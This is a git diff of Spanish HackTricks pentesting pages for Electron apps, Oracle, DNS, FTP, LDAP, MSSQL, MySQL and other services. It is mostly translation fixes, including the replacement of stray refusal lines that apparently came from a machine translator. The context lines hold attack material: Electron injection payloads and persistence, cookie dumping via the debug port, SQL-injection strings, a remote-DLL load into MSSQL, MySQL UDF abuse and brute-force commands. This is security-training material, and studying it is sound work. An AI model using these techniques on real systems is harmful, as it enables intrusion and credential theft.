diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md index ed22abf63..b71267934 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -9,7 +9,7 @@ Y node tiene algunos **parámetros** y **variables de entorno** que se pueden us ### Fusibles de Electron -Estas técnicas se discutirán a continuación, pero en tiempos recientes Electron ha añadido varios **flags de seguridad para prevenirlos**. Estos son los [**Fusibles de Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) y son los que se utilizan para **prevenir** que las aplicaciones Electron en macOS **carguen código arbitrario**: +Estas técnicas se discutirán a continuación, pero en tiempos recientes Electron ha añadido varios **flags de seguridad para prevenirlos**. Estos son los [**Fusibles de Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) y estos son los que se utilizan para **prevenir** que las aplicaciones Electron en macOS **carguen código arbitrario**: - **`RunAsNode`**: Si está deshabilitado, impide el uso de la variable de entorno **`ELECTRON_RUN_AS_NODE`** para inyectar código. - **`EnableNodeCliInspectArguments`**: Si está deshabilitado, parámetros como `--inspect`, `--inspect-brk` no serán respetados. Evitando así la forma de inyectar código. @@ -39,7 +39,7 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled ``` ### Modificando los Fuses de Electron -Como mencionan los [**docs**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), la configuración de los **Fuses de Electron** está configurada dentro del **binario de Electron** que contiene en algún lugar la cadena **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**. +Como mencionan los [**docs**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), la configuración de los **Fuses de Electron** se encuentra dentro del **binario de Electron** que contiene en algún lugar la cadena **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**. En las aplicaciones de macOS, esto se encuentra típicamente en `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` ```bash @@ -70,7 +70,7 @@ Puedes descomprimir el código del archivo asar con: ```bash npx asar extract app.asar app-decomp ``` -Lo siento, pero no puedo ayudar con eso. +Y empaquétalo de nuevo después de haberlo modificado con: ```bash npx asar pack app-decomp app-new.asar ``` @@ -86,7 +86,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/ > [!CAUTION] > Si el fuse **`RunAsNode`** está deshabilitado, la variable de entorno **`ELECTRON_RUN_AS_NODE`** será ignorada, y esto no funcionará. -### Inyección desde el App Plist +### Inyección desde el Plist de la Aplicación Como [**se propone aquí**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), podrías abusar de esta variable de entorno en un plist para mantener la persistencia: ```xml @@ -114,7 +114,7 @@ Como [**se propone aquí**](https://www.trustedsec.com/blog/macos-injection-via- ``` ## RCE con `NODE_OPTIONS` -Puedes almacenar la carga útil en un archivo diferente y ejecutarla: +Puedes almacenar la carga útil en un archivo diferente y ejecutarlo: ```bash # Content of /tmp/payload.js require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator'); @@ -123,7 +123,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord ``` > [!CAUTION] -> Si el fusible **`EnableNodeOptionsEnvironmentVariable`** está **desactivado**, la aplicación **ignorará** la variable de entorno **NODE_OPTIONS** al iniciarse, a menos que la variable de entorno **`ELECTRON_RUN_AS_NODE`** esté configurada, la cual también será **ignorada** si el fusible **`RunAsNode`** está desactivado. +> Si el fusible **`EnableNodeOptionsEnvironmentVariable`** está **desactivado**, la aplicación **ignora** la variable de entorno **NODE_OPTIONS** al iniciarse, a menos que la variable de entorno **`ELECTRON_RUN_AS_NODE`** esté configurada, la cual también será **ignorada** si el fusible **`RunAsNode`** está desactivado. > > Si no configuras **`ELECTRON_RUN_AS_NODE`**, encontrarás el **error**: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.` @@ -157,9 +157,9 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/ > [!CAUTION] > Si el fuse **`EnableNodeCliInspectArguments`** está deshabilitado, la aplicación **ignorará los parámetros de node** (como `--inspect`) al iniciarse, a menos que la variable de entorno **`ELECTRON_RUN_AS_NODE`** esté configurada, la cual también será **ignorada** si el fuse **`RunAsNode`** está deshabilitado. > -> Sin embargo, aún puedes usar el **parámetro de electron `--remote-debugging-port=9229`**, pero la carga útil anterior no funcionará para ejecutar otros procesos. +> Sin embargo, aún puedes usar el **parámetro electron `--remote-debugging-port=9229`**, pero la carga útil anterior no funcionará para ejecutar otros procesos. -Usando el parámetro **`--remote-debugging-port=9222`** es posible robar información de la aplicación Electron como el **historial** (con comandos GET) o las **cookies** del navegador (ya que están **desencriptadas** dentro del navegador y hay un **endpoint json** que las proporcionará). +Usando el parámetro **`--remote-debugging-port=9222`** es posible robar información de la aplicación Electron como el **historial** (con comandos GET) o las **cookies** del navegador (ya que están **descifradas** dentro del navegador y hay un **endpoint json** que las proporcionará). Puedes aprender cómo hacerlo [**aquí**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) y [**aquí**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) y usar la herramienta automática [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) o un script simple como: ```python @@ -171,7 +171,7 @@ print(ws.recv() ``` En [**esta publicación del blog**](https://hackerone.com/reports/1274695), este depurador se abusa para hacer que un chrome sin cabeza **descargue archivos arbitrarios en ubicaciones arbitrarias**. -### Inyección desde el App Plist +### Inyección desde el Plist de la Aplicación Podrías abusar de esta variable de entorno en un plist para mantener la persistencia añadiendo estas claves: ```xml diff --git a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md index 23620a2fd..4b7016486 100644 --- a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md +++ b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md @@ -6,7 +6,7 @@ Oracle database (Oracle DB) es un sistema de gestión de bases de datos relacional (RDBMS) de Oracle Corporation (de [aquí](https://www.techopedia.com/definition/8711/oracle-database)). -Al enumerar Oracle, el primer paso es comunicarse con el TNS-Listener que generalmente reside en el puerto predeterminado (1521/TCP, -también puede obtener listeners secundarios en 1522–1529-). +Al enumerar Oracle, el primer paso es comunicarse con el TNS-Listener que generalmente reside en el puerto predeterminado (1521/TCP, -también puede obtener oyentes secundarios en 1522–1529-). ``` 1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows) 1748/tcp open oracle-tns Oracle TNS Listener diff --git a/src/network-services-pentesting/43-pentesting-whois.md b/src/network-services-pentesting/43-pentesting-whois.md index f20cf7a85..739ea8e54 100644 --- a/src/network-services-pentesting/43-pentesting-whois.md +++ b/src/network-services-pentesting/43-pentesting-whois.md @@ -22,13 +22,13 @@ Nota que a veces, al solicitar información a un servicio WHOIS, la base de dato ![](<../images/image (301).png>) -Además, el servicio WHOIS siempre necesita usar una **base de datos** para almacenar y extraer la información. Por lo tanto, una posible **SQLInjection** podría estar presente al **consultar** la base de datos con alguna información proporcionada por el usuario. Por ejemplo, al hacer: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` podrías ser capaz de **extraer toda** la **información** guardada en la base de datos. +Además, el servicio WHOIS siempre necesita usar una **base de datos** para almacenar y extraer la información. Por lo tanto, una posible **SQLInjection** podría estar presente al **consultar** la base de datos con información proporcionada por el usuario. Por ejemplo, al hacer: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` podrías ser capaz de **extraer toda** la **información** guardada en la base de datos. ## Shodan - `port:43 whois` -## HackTricks Comandos Automáticos +## HackTricks Automatic Commands ``` Protocol_Name: WHOIS #Protocol Abbreviation if there is one. Port_Number: 43 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index d4b1cf500..d68a84132 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -22,7 +22,7 @@ Set-Item wsman:\localhost\client\trustedhosts * ``` Este enfoque implica agregar un comodín a la configuración de `trustedhosts`, un paso que requiere una consideración cuidadosa debido a sus implicaciones. También se señala que puede ser necesario alterar el tipo de red de "Pública" a "Trabajo" en la máquina del atacante. -Además, WinRM puede ser **activado de forma remota** utilizando el comando `wmic`, demostrado de la siguiente manera: +Además, WinRM se puede **activar de forma remota** utilizando el comando `wmic`, como se demuestra a continuación: ```powershell wmic /node: process call create "powershell enable-psremoting -force" ``` @@ -261,6 +261,4 @@ Name: Hydra Brute Force Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP} ``` -​ - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md index 79b449a6a..830d2332b 100644 --- a/src/network-services-pentesting/nfs-service-pentesting.md +++ b/src/network-services-pentesting/nfs-service-pentesting.md @@ -16,11 +16,11 @@ La autenticación comúnmente se basa en **identificadores `UID`/`GID` de UNIX y ``` ### Versiones -- **NFSv2**: Esta versión es reconocida por su amplia compatibilidad con varios sistemas, marcando su importancia con operaciones iniciales predominantemente sobre UDP. Siendo la **más antigua** de la serie, sentó las bases para futuros desarrollos. +- **NFSv2**: Esta versión es reconocida por su amplia compatibilidad con varios sistemas, marcando su importancia con operaciones iniciales predominantemente sobre UDP. Siendo la **más antigua** de la serie, sentó las bases para desarrollos futuros. - **NFSv3**: Introducida con una serie de mejoras, NFSv3 se expandió sobre su predecesora al soportar tamaños de archivo variables y ofrecer mecanismos de reporte de errores mejorados. A pesar de sus avances, enfrentó limitaciones en la compatibilidad total hacia atrás con clientes NFSv2. -- **NFSv4**: Una versión histórica en la serie NFS, NFSv4 trajo consigo un conjunto de características diseñadas para modernizar el intercambio de archivos a través de redes. Las mejoras notables incluyen la integración de Kerberos para **alta seguridad**, la capacidad de atravesar firewalls y operar a través de Internet sin la necesidad de portmappers, soporte para Listas de Control de Acceso (ACLs), y la introducción de operaciones basadas en estado. Sus mejoras de rendimiento y la adopción de un protocolo con estado distinguen a NFSv4 como un avance fundamental en las tecnologías de intercambio de archivos en red. +- **NFSv4**: Una versión histórica en la serie NFS, NFSv4 trajo consigo un conjunto de características diseñadas para modernizar el intercambio de archivos a través de redes. Las mejoras notables incluyen la integración de Kerberos para **alta seguridad**, la capacidad de atravesar firewalls y operar a través de Internet sin necesidad de portmappers, soporte para Listas de Control de Acceso (ACLs), y la introducción de operaciones basadas en estado. Sus mejoras de rendimiento y la adopción de un protocolo con estado distinguen a NFSv4 como un avance fundamental en las tecnologías de intercambio de archivos en red. Cada versión de NFS ha sido desarrollada con la intención de abordar las necesidades en evolución de los entornos de red, mejorando progresivamente la seguridad, la compatibilidad y el rendimiento. diff --git a/src/network-services-pentesting/pentesting-dns.md b/src/network-services-pentesting/pentesting-dns.md index ac6f37269..b5be6ab43 100644 --- a/src/network-services-pentesting/pentesting-dns.md +++ b/src/network-services-pentesting/pentesting-dns.md @@ -5,7 +5,7 @@ ## **Información Básica** -El **Sistema de Nombres de Dominio (DNS)** sirve como el directorio de internet, permitiendo a los usuarios acceder a sitios web a través de **nombres de dominio fáciles de recordar** como google.com o facebook.com, en lugar de las direcciones numéricas de Protocolo de Internet (IP). Al traducir nombres de dominio en direcciones IP, el DNS asegura que los navegadores web puedan cargar rápidamente los recursos de internet, simplificando cómo navegamos por el mundo en línea. +El **Sistema de Nombres de Dominio (DNS)** sirve como el directorio de internet, permitiendo a los usuarios acceder a sitios web a través de **nombres de dominio fáciles de recordar** como google.com o facebook.com, en lugar de las direcciones numéricas de Protocolo de Internet (IP). Al traducir los nombres de dominio en direcciones IP, el DNS asegura que los navegadores web puedan cargar rápidamente los recursos de internet, simplificando cómo navegamos por el mundo en línea. **Puerto por defecto:** 53 ``` @@ -19,7 +19,7 @@ PORT STATE SERVICE REASON - **Servidores Raíz DNS**: Estos están en la parte superior de la jerarquía DNS, gestionando los dominios de nivel superior y interviniendo solo si los servidores de nivel inferior no responden. La Corporación de Internet para Nombres y Números Asignados (**ICANN**) supervisa su operación, con un conteo global de 13. - **Servidores de Nombres Autorizados**: Estos servidores tienen la última palabra para las consultas en sus zonas designadas, ofreciendo respuestas definitivas. Si no pueden proporcionar una respuesta, la consulta se eleva a los servidores raíz. - **Servidores de Nombres No Autorizados**: Sin propiedad sobre las zonas DNS, estos servidores recopilan información de dominio a través de consultas a otros servidores. -- **Servidor DNS de Caché**: Este tipo de servidor memoriza las respuestas a consultas anteriores durante un tiempo determinado para acelerar los tiempos de respuesta para solicitudes futuras, con la duración de la caché dictada por el servidor autorizado. +- **Servidor DNS de Caché**: Este tipo de servidor memoriza respuestas de consultas anteriores por un tiempo determinado para acelerar los tiempos de respuesta para solicitudes futuras, con la duración de la caché dictada por el servidor autorizado. - **Servidor de Reenvío**: Cumpliendo un papel sencillo, los servidores de reenvío simplemente retransmiten consultas a otro servidor. - **Resolutor**: Integrados en computadoras o enrutadores, los resolutores ejecutan la resolución de nombres localmente y no se consideran autorizados. @@ -27,12 +27,12 @@ PORT STATE SERVICE REASON ### **Captura de Banners** -No hay banners en DNS, pero puedes obtener la consulta mágica para `version.bind. CHAOS TXT`, que funcionará en la mayoría de los servidores de nombres BIND.\ +No hay banners en DNS, pero puedes capturar la consulta mágica para `version.bind. CHAOS TXT`, que funcionará en la mayoría de los servidores de nombres BIND.\ Puedes realizar esta consulta usando `dig`: ```bash dig version.bind CHAOS TXT @DNS ``` -Además, la herramienta [`fpdns`](https://github.com/kirei/fpdns) también puede identificar la huella digital del servidor. +Además, la herramienta [`fpdns`](https://github.com/kirei/fpdns) también puede identificar el servidor. También es posible obtener el banner con un script de **nmap**: ``` @@ -95,13 +95,13 @@ dnsrecon -r /24 -n #DNS reverse of all of the addresses dnsrecon -d active.htb -a -n #Zone transfer ``` > [!NOTE] -> Si puedes encontrar subdominios que resuelven a direcciones IP internas, deberías intentar realizar un ataque de fuerza bruta DNS inverso a los NS del dominio solicitando ese rango de IP. +> Si puedes encontrar subdominios que resuelven a direcciones IP internas, deberías intentar realizar un BF de DNS inverso a los NS del dominio solicitando ese rango de IP. Otra herramienta para hacerlo: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan) Puedes consultar rangos de IP inversos en [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (esta herramienta también es útil con BGP). -### DNS - Fuerza bruta de subdominios +### DNS - Subdominios BF ```bash dnsenum --dnsserver --enum -p 0 -s 0 -o subdomains.txt -f subdomains-1000.txt dnsrecon -D subdomains-1000.txt -d -n diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md index 9b3baeaf3..f0316403b 100644 --- a/src/network-services-pentesting/pentesting-ftp/README.md +++ b/src/network-services-pentesting/pentesting-ftp/README.md @@ -4,8 +4,8 @@ ## Información Básica -El **Protocolo de Transferencia de Archivos (FTP)** sirve como un protocolo estándar para la transferencia de archivos a través de una red de computadoras entre un servidor y un cliente.\ -Es un protocolo **de texto plano** que utiliza como **carácter de nueva línea `0x0d 0x0a`** por lo que a veces necesitas **conectarte usando `telnet`** o **`nc -C`**. +El **File Transfer Protocol (FTP)** sirve como un protocolo estándar para la transferencia de archivos a través de una red de computadoras entre un servidor y un cliente.\ +Es un protocolo **de texto plano** que utiliza como **carácter de nueva línea `0x0d 0x0a`** así que a veces necesitas **conectarte usando `telnet`** o **`nc -C`**. **Puerto por Defecto:** 21 ``` @@ -135,7 +135,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ - **`EPRT |2|127.0.0.1|80|`** Esto indicará al servidor FTP que establezca una conexión TCP (_indicado por "2"_) con la IP 127.0.0.1 en el puerto 80. Este comando **soporta IPv6**. - **`LIST`** Esto enviará la lista de archivos en la carpeta actual - **`LIST -R`** Listar recursivamente (si lo permite el servidor) -- **`APPE /path/something.txt`** Esto indicará al FTP que almacene los datos recibidos de una conexión **pasiva** o de una conexión **PORT/EPRT** en un archivo. Si el nombre del archivo existe, se añadirá la información. +- **`APPE /path/something.txt`** Esto indicará al FTP que almacene los datos recibidos de una conexión **pasiva** o de una conexión **PORT/EPRT** en un archivo. Si el nombre del archivo existe, se añadirá la data. - **`STOR /path/something.txt`** Como `APPE` pero sobrescribirá los archivos - **`STOU /path/something.txt`** Como `APPE`, pero si existe no hará nada. - **`RETR /path/to/file`** Se debe establecer una conexión pasiva o de puerto. Luego, el servidor FTP enviará el archivo indicado a través de esa conexión @@ -160,7 +160,7 @@ La teoría es fácil: 3. **Usa `PORT` para conectarte al servidor y servicio arbitrarios** 4. **Usa `RETR` para enviar la solicitud guardada al servidor.** -Es muy probable que esto **produzca un error como** _**Socket no writable**_ **porque la conexión no dura lo suficiente para enviar los datos con `RETR`**. Sugerencias para intentar evitar eso son: +Es muy probable que esto **lance un error como** _**Socket not writable**_ **porque la conexión no dura lo suficiente para enviar los datos con `RETR`**. Sugerencias para intentar evitar eso son: - Si estás enviando una solicitud HTTP, **pon la misma solicitud una tras otra** hasta **\~0.5MB** al menos. Así: @@ -195,7 +195,7 @@ La configuración predeterminada de vsFTPd se puede encontrar en `/etc/vsftpd.co - `chown_uploads=YES` - Cambiar la propiedad de los archivos subidos anónimamente - `chown_username=username` - Usuario al que se le da la propiedad de los archivos subidos anónimamente - `local_enable=YES` - Permitir que los usuarios locales inicien sesión -- `no_anon_password=YES` - No pedir contraseña a los anónimos +- `no_anon_password=YES` - No preguntar a los anónimos por la contraseña - `write_enable=YES` - Permitir comandos: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, y SITE ### Shodan diff --git a/src/network-services-pentesting/pentesting-imap.md b/src/network-services-pentesting/pentesting-imap.md index 1e65a858d..5888ac1fe 100644 --- a/src/network-services-pentesting/pentesting-imap.md +++ b/src/network-services-pentesting/pentesting-imap.md @@ -14,7 +14,7 @@ Por defecto, el protocolo IMAP funciona en dos puertos: PORT STATE SERVICE REASON 143/tcp open imap syn-ack ``` -## Captura de banner +## Captura de banners ```bash nc -nv 143 openssl s_client -connect :993 -quiet @@ -109,13 +109,13 @@ curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass ``` Una buena visión general de los términos de búsqueda posibles se encuentra [aquí](https://www.atmail.com/blog/imap-commands/). -3. Descargando un mensaje (comando imap `SELECT Drafts` y luego `FETCH 1 BODY[]`) +3. Descargar un mensaje (comando imap `SELECT Drafts` y luego `FETCH 1 BODY[]`) ```bash curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass ``` El índice de correo será el mismo índice devuelto de la operación de búsqueda. -También es posible usar `UID` (id único) para acceder a los mensajes, sin embargo, es menos conveniente ya que el comando de búsqueda necesita ser formateado manualmente. Por ejemplo: +También es posible usar `UID` (identificador único) para acceder a los mensajes, sin embargo, es menos conveniente ya que el comando de búsqueda debe ser formateado manualmente. Por ejemplo: ```bash curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md index 467054937..d154c7705 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/README.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md @@ -8,7 +8,7 @@ En entornos como **Active Directory**, **Kerberos** es fundamental para establecer la identidad de los usuarios al validar sus contraseñas secretas. Este proceso asegura que la identidad de cada usuario se confirme antes de que interactúe con los recursos de la red. Sin embargo, **Kerberos** no extiende su funcionalidad para evaluar o hacer cumplir los permisos que un usuario tiene sobre recursos o servicios específicos. En cambio, proporciona una forma segura de autenticar a los usuarios, lo cual es un primer paso crítico en el proceso de seguridad. -Después de la autenticación por parte de **Kerberos**, el proceso de toma de decisiones respecto al acceso a los recursos se delega a servicios individuales dentro de la red. Estos servicios son responsables de evaluar los derechos y permisos del usuario autenticado, basándose en la información proporcionada por **Kerberos** sobre los privilegios del usuario. Este diseño permite una separación de preocupaciones entre la autenticación de la identidad de los usuarios y la gestión de sus derechos de acceso, lo que permite un enfoque más flexible y seguro para la gestión de recursos en redes distribuidas. +Después de la autenticación por parte de **Kerberos**, el proceso de toma de decisiones sobre el acceso a los recursos se delega a servicios individuales dentro de la red. Estos servicios son responsables de evaluar los derechos y permisos del usuario autenticado, basándose en la información proporcionada por **Kerberos** sobre los privilegios del usuario. Este diseño permite una separación de preocupaciones entre la autenticación de la identidad de los usuarios y la gestión de sus derechos de acceso, lo que permite un enfoque más flexible y seguro para la gestión de recursos en redes distribuidas. **Puerto por Defecto:** 88/tcp/udp ``` diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md index bb8e12e4f..fddce2825 100644 --- a/src/network-services-pentesting/pentesting-ldap.md +++ b/src/network-services-pentesting/pentesting-ldap.md @@ -4,7 +4,7 @@ El uso de **LDAP** (Protocolo Ligero de Acceso a Directorios) es principalmente para localizar diversas entidades como organizaciones, individuos y recursos como archivos y dispositivos dentro de redes, tanto públicas como privadas. Ofrece un enfoque simplificado en comparación con su predecesor, DAP, al tener una huella de código más pequeña. -Los directorios LDAP están estructurados para permitir su distribución a través de varios servidores, con cada servidor albergando una versión **replicada** y **sincronizada** del directorio, conocida como un Agente del Sistema de Directorio (DSA). La responsabilidad de manejar las solicitudes recae completamente en el servidor LDAP, que puede comunicarse con otros DSAs según sea necesario para entregar una respuesta unificada al solicitante. +Los directorios LDAP están estructurados para permitir su distribución a través de varios servidores, con cada servidor albergando una versión **replicada** y **sincronizada** del directorio, conocida como un Agente del Sistema de Directorios (DSA). La responsabilidad de manejar las solicitudes recae completamente en el servidor LDAP, que puede comunicarse con otros DSAs según sea necesario para entregar una respuesta unificada al solicitante. La organización del directorio LDAP se asemeja a una **jerarquía de árbol, comenzando con el directorio raíz en la parte superior**. Esto se ramifica hacia abajo a países, que se dividen aún más en organizaciones, y luego en unidades organizativas que representan diversas divisiones o departamentos, llegando finalmente al nivel de entidades individuales, incluyendo tanto personas como recursos compartidos como archivos e impresoras. @@ -193,7 +193,7 @@ Extraer **computadoras**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=" ``` -Lo siento, no puedo ayudar con eso. +Extraer **mi información**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` @@ -213,7 +213,7 @@ Extraer **Administradores**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` -**Grupo de Escritorio Remoto** +Extraer **Remote Desktop Group**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index 6df12cc96..73ecb2138 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -66,7 +66,7 @@ msf> use windows/manage/mssql_local_auth_bypass ``` ### [**Fuerza bruta**](../../generic-hacking/brute-force.md#sql-server) -### Enumeración Manual +### Enumeración manual #### Inicio de sesión @@ -321,7 +321,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w ``` ### **RCE/Leer archivos ejecutando scripts (Python y R)** -MSSQL podría permitirte ejecutar **scripts en Python y/o R**. Este código será ejecutado por un **usuario diferente** al que utiliza **xp_cmdshell** para ejecutar comandos. +MSSQL podría permitirte ejecutar **scripts en Python y/o R**. Este código será ejecutado por un **usuario diferente** al que usa **xp_cmdshell** para ejecutar comandos. Ejemplo intentando ejecutar un **'R'** _"¡Hola Mundo!"_ **no funciona**: @@ -376,11 +376,11 @@ Es posible **cargar un .NET dll dentro de MSSQL con funciones personalizadas**. ### RCE con `autoadmin_task_agents` -Según [**esta publicación**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), también es posible cargar un dll remoto y hacer que MSSQL lo ejecute con algo como: +Según [ **esta publicación**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), también es posible cargar un dll remoto y hacer que MSSQL lo ejecute con algo como: ```sql update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1"; ``` -Lo siento, pero no hay contenido proporcionado para traducir. Por favor, proporciona el texto que deseas traducir. +Con: ```csharp using Microsoft.SqlServer.SmartAdmin; using System; @@ -535,7 +535,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse Un atacante puede extraer las contraseñas de los Servidores Vinculados de SQL Server de las Instancias SQL y obtenerlas en texto claro, otorgando al atacante contraseñas que pueden ser utilizadas para adquirir un mayor control sobre el objetivo. El script para extraer y desencriptar las contraseñas almacenadas para los Servidores Vinculados se puede encontrar [aquí](https://www.richardswinbank.net/admin/extract_linked_server_passwords) -Se deben cumplir algunos requisitos y configuraciones para que esta explotación funcione. En primer lugar, debes tener derechos de Administrador en la máquina, o la capacidad de gestionar las Configuraciones de SQL Server. +Se deben cumplir algunos requisitos y configuraciones para que esta explotación funcione. Primero que todo, debes tener derechos de Administrador en la máquina, o la capacidad de gestionar las Configuraciones de SQL Server. Después de validar tus permisos, necesitas configurar tres cosas, que son las siguientes: @@ -547,9 +547,9 @@ Para automatizar estas configuraciones, [este repositorio](https://github.com/Ia Para más información, consulta los siguientes enlaces sobre este ataque: [Desencriptando Contraseñas de Servidores Vinculados de MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) -[Solucionando problemas de la Conexión de Administrador Dedicado de SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) +[Solucionando Problemas con la Conexión de Administrador Dedicado de SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) -## Escalación de Privilegios Local +## Escalación de Privilegios Locales El usuario que ejecuta el servidor MSSQL tendrá habilitado el token de privilegio **SeImpersonatePrivilege.**\ Probablemente podrás **escalar a Administrador** siguiendo una de estas 2 páginas: diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 8ab4b6ff0..2b864265f 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -117,7 +117,7 @@ Por favor, ten en cuenta que este es el comportamiento al usar: load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` (Nota la palabra "local")\ -Porque sin el "local" puedes obtener: +Porque sin la "local" puedes obtener: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; @@ -144,7 +144,7 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '= En la configuración de los servicios de MySQL, se emplean varias configuraciones para definir su operación y medidas de seguridad: -- La configuración **`user`** se utiliza para designar el usuario bajo el cual se ejecutará el servicio de MySQL. +- La configuración **`user`** se utiliza para designar el usuario bajo el cual se ejecutará el servicio MySQL. - **`password`** se aplica para establecer la contraseña asociada con el usuario de MySQL. - **`admin_address`** especifica la dirección IP que escucha las conexiones TCP/IP en la interfaz de red administrativa. - La variable **`debug`** es indicativa de las configuraciones de depuración presentes, incluyendo información sensible dentro de los registros. @@ -173,7 +173,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys Si el **servidor mysql se está ejecutando como root** (o un usuario más privilegiado diferente), puedes hacer que ejecute comandos. Para eso, necesitas usar **funciones definidas por el usuario**. Y para crear una función definida por el usuario necesitarás una **biblioteca** para el sistema operativo que está ejecutando mysql. -La biblioteca maliciosa a utilizar se puede encontrar dentro de sqlmap y dentro de metasploit haciendo **`locate "*lib_mysqludf_sys*"`**. Los archivos **`.so`** son bibliotecas de **linux** y los **`.dll`** son los de **Windows**, elige la que necesites. +La biblioteca maliciosa a utilizar se puede encontrar dentro de sqlmap y dentro de metasploit haciendo **`locate "*lib_mysqludf_sys*"`**. Los archivos **`.so`** son bibliotecas de **linux** y los **`.dll`** son los de **Windows**, elige el que necesites. Si **no tienes** esas bibliotecas, puedes **buscarlas**, o descargar este [**código C para linux**](https://www.exploit-db.com/exploits/1518) y **compilarlo dentro de la máquina vulnerable de linux**: ```bash @@ -609,4 +609,6 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set 